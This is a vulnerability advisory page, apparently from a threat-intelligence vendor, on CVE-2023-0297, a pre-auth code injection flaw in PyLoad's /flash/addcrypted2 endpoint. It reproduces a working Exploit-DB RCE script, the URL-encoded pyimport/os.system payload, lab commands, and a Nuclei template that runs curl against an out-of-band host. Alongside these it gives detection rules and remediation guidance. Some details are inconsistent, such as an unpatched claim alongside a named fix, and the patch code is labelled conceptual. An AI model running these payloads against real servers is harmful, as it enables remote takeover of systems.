CVE-2023-0297
Executive Summary
CVE-2023-0297 is a critical pre-authentication remote code execution (RCE) vulnerability in PyLoad, a popular open-source download manager. The flaw resides in the /flash/addcrypted2 endpoint, which improperly handles user-supplied input, allowing an attacker to inject arbitrary Python code via the jk parameter. This injection is executed server-side using the pyimport mechanism, leading to full system compromise. The vulnerability affects all versions of PyLoad prior to 0.5.0b3.dev31. With a CVSS score of 9.8, it is considered critical and is actively being exploited in the wild. Public proof-of-concept (PoC) exploits and a Nuclei template are available, making this a high-priority threat for any organization using PyLoad.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the PyLoad application itself, which is distributed via GitHub and PyPI. Users who installed PyLoad via pip install pyload are affected if they are running a version prior to 0.5.0b3.dev31. The supply chain risk is elevated due to the lack of an official patch and the availability of public exploit code.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) - No special conditions are required for exploitation.
- Privileges Required: None (PR:N) - No authentication is needed.
- User Interaction: None (UI:N) - The victim does not need to perform any action.
- Scope: Unchanged (S:U) - The vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) - Full system read access.
- Integrity Impact: High (I:H) - Full system write access.
- Availability Impact: High (A:H) - Full system control, including denial of service.
Threat Level: Critical. The combination of no authentication, low complexity, and high impact makes this a top-priority vulnerability for patching and detection.
Deep Dive & Mechanics
The vulnerability is a classic code injection flaw (CWE-94) in the /flash/addcrypted2 endpoint of PyLoad. This endpoint is used for adding crypted (encrypted) download packages. The jk parameter is intended to be a JavaScript key but is processed by a Python-based JavaScript interpreter (likely js2py). The attacker can inject Python code using the pyimport directive, which allows importing and executing arbitrary Python modules.
Attack Flow:
- The attacker sends a GET request to
/flash/addcrypted2to verify the endpoint exists. - The attacker sends a POST request with a crafted payload in the
jkparameter. - The payload uses
pyimport osto import theosmodule and then executes a system command viaos.system(). - The command is executed on the server with the privileges of the PyLoad process.
Key Payload Components:
jk=pyimport+os%3Bos.system%28%22{{cmd}}%22%29%3Bf%3Dfunction+f2%28%29%7B%7D%3B- This injects Python code to execute a command.packages,crypted,passwords- These are other required parameters but are not used in the injection.
The vulnerability is particularly dangerous because it requires no authentication and can be exploited with a single HTTP request.
Vulnerable vs. Patched Code
Vulnerable Code (prior to 0.5.0b3.dev31):
The vulnerable code is in the flash module, specifically in the addcrypted2 function. The jk parameter is passed to a JavaScript interpreter that allows pyimport without proper sanitization.
# Vulnerable snippet (conceptual)
def addcrypted2(self, jk, packages, crypted, passwords):
# jk is processed by a JS engine that allows pyimport
result = js2py.eval_js(jk) # No input validation
# ... rest of the function
Patched Code (0.5.0b3.dev31 and later):
The patched version likely removes or restricts the pyimport functionality, or sanitizes the jk parameter to prevent code injection.
# Patched snippet (conceptual)
def addcrypted2(self, jk, packages, crypted, passwords):
# Sanitize jk to prevent pyimport
if "pyimport" in jk:
raise ValueError("Invalid jk parameter")
result = js2py.eval_js(jk)
# ... rest of the function
Note: The exact patch details are unknown as the vendor has not released a specific advisory. The fix is included in version 0.5.0b3.dev31.
Exploitation & Lab Setup
Red Team
Exploit-DB Code Usage:
The following Python script from Exploit-DB can be used to exploit the vulnerability. It sends a crafted POST request to the /flash/addcrypted2 endpoint.
# Exploit Title: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
# Date: 06-10-2023
# Credits: bAu @bauh0lz
# Exploit Author: Gabriel Lima (0xGabe)
# Vendor Homepage: https://pyload.net/
# Software Link: https://github.com/pyload/pyload
# Version: 0.5.0
# Tested on: Ubuntu 20.04.6
# CVE: CVE-2023-0297
import requests, argparse
parser = argparse.ArgumentParser()
parser.add_argument('-u', action='store', dest='url', required=True, help='Target url.')
parser.add_argument('-c', action='store', dest='cmd', required=True, help='Command to execute.')
arguments = parser.parse_args()
def doRequest(url):
try:
res = requests.get(url + '/flash/addcrypted2')
if res.status_code == 200:
return True
else:
return False
except requests.exceptions.RequestException as e:
print("[!] Maybe the host is offline :", e)
exit()
def runExploit(url, cmd):
endpoint = url + '/flash/addcrypted2'
if " " in cmd:
validCommand = cmd.replace(" ", "%20")
else:
validCommand = cmd
payload = 'jk=pyimport%20os;os.system("'+validCommand+'");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa'
test = requests.post(endpoint, headers={'Content-type': 'application/x-www-form-urlencoded'},data=payload)
print('[+] The exploit has be executeded in target machine. ')
def main(targetUrl, Command):
print('[+] Check if target host is alive: ' + targetUrl)
alive = doRequest(targetUrl)
if alive == True:
print("[+] Host up, let's exploit! ")
runExploit(targetUrl,Command)
else:
print('[-] Host down! ')
if(arguments.url != None and arguments.cmd != None):
targetUrl = arguments.url
Command = arguments.cmd
main(targetUrl, Command)
Usage:
python3 exploit.py -u http://target:8000 -c "id"
Lab Setup:
- Deploy a vulnerable PyLoad instance using Docker:
docker run -d -p 8000:8000 --name pyload-vuln pyload/pyload:0.5.0 - Verify the endpoint:
curl http://localhost:8000/flash/addcrypted2 - Run the exploit:
python3 exploit.py -u http://localhost:8000 -c "whoami"
Blue Team
Detection:
- Monitor HTTP POST requests to
/flash/addcrypted2with suspiciousjkparameters containingpyimport,os.system, or other Python keywords. - Look for outbound connections from the PyLoad server to unknown IPs (command and control).
- Monitor for unusual process execution (e.g.,
curl,wget,bash) from the PyLoad process.
Hunting:
- Search logs for the string
pyimportin thejkparameter. - Correlate with network connections to known malicious IPs or domains.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/flash/addcrypted2withjkparameter containingpyimport. - Outbound connections to unknown IPs on common ports (80, 443, 53).
- POST requests to
- File System:
- Unexpected files in
/tmp/or/var/tmp/created by the PyLoad user. - Modified system binaries or scripts.
- Unexpected files in
- Process:
- Unusual child processes of the PyLoad daemon (e.g.,
curl,bash,python).
- Unusual child processes of the PyLoad daemon (e.g.,
- Logs:
- PyLoad logs showing errors related to
js2pyorpyimport.
- PyLoad logs showing errors related to
Detection Engineering
YARA Rule
rule CVE_2023_0297_PyLoad_RCE {
meta:
description = "Detects PyLoad CVE-2023-0297 exploit attempts in HTTP requests"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2023-0297"
hash = "unknown"
strings:
$pyimport = "pyimport" nocase
$os_system = "os.system" nocase
$jk_param = "jk=" nocase
$addcrypted2 = "/flash/addcrypted2" nocase
condition:
$addcrypted2 and $jk_param and ($pyimport or $os_system)
}
Sigma Rule
title: PyLoad CVE-2023-0297 RCE Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /flash/addcrypted2 with code injection payloads
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-0297
- https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: POST
cs-uri-stem: '/flash/addcrypted2'
cs-uri-query|contains: 'jk=pyimport'
condition: selection
falsepositives:
- Unknown
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-0297 PyLoad RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/flash/addcrypted2"; http_uri; content:"jk=pyimport"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Nuclei Template
id: CVE-2023-0297
info:
name: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
author: MrHarshvardhan,DhiyaneshDk
severity: critical
description: |
Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the target system.
remediation: |
Upgrade PyLoad to a version that is not affected by this vulnerability.
reference:
- https://www.exploit-db.com/exploits/51532
- https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1058
- http://packetstormsecurity.com/files/171096/pyLoad-js2py-Python-Execution.html
- http://packetstormsecurity.com/files/172914/PyLoad-0.5.0-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-0297
cwe-id: CWE-94
epss-score: 0.93366
epss-percentile: 0.99817
cpe: cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: pyload
product: pyload
shodan-query:
- html:"pyload"
- http.title:"login - pyload"
- http.html:"pyload"
- http.title:"pyload"
fofa-query:
- title="login - pyload"
- body="pyload"
- title="pyload"
google-query:
- intitle:"login - pyload"
- intitle:"pyload"
zoomeye-query: app="pyLoad"
tags: cve,cve2023,huntr,packetstorm,rce,pyload,oast,vkev,vuln
variables:
cmd: "curl {{interactsh-url}}"
http:
- raw:
- |
GET /flash/addcrypted2 HTTP/1.1
Host: {{Hostname}}
- |
POST /flash/addcrypted2 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
jk=pyimport+os%3Bos.system%28%22{{cmd}}%22%29%3Bf%3Dfunction+f2%28%29%7B%7D%3B&packages=YyVIbzmZ&crypted=ZbIlxWYe&passwords=oJFFUtTw
matchers-condition: and
matchers:
- type: word
part: body_1
words:
- 'JDownloader'
- type: word
part: interactsh_protocol
words:
- "dns"
# digest: 4a0a00473045022069a28e6613693614e342de21db8485e5d1ee45b8008685bc3ab6dd367825ff59022100eba1884a35205ada27a570e3823e8b09080c28afd624d41f5ebf46be5f75c813:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update PyLoad to version
0.5.0b3.dev31or later. If an official patch is not available, consider using a fork or applying a workaround. - Network Segmentation: Isolate the PyLoad server from the internet and restrict access to trusted IPs only.
- Web Application Firewall (WAF): Deploy a WAF rule to block requests containing
pyimportin thejkparameter. - Disable Endpoint: If possible, disable the
/flash/addcrypted2endpoint or restrict it to authenticated users.
Long-term Mitigations:
- Implement input validation and sanitization for all user-supplied parameters.
- Use a security-focused code review process for all new features.
- Regularly update all software components.
Detection:
- Implement the YARA, Sigma, and Suricata rules provided in this report.
- Monitor logs for suspicious activity and correlate with threat intelligence feeds.
Valters IT
{/* [Security Hash: 49766A3F4FBAF7341D2182B8] */}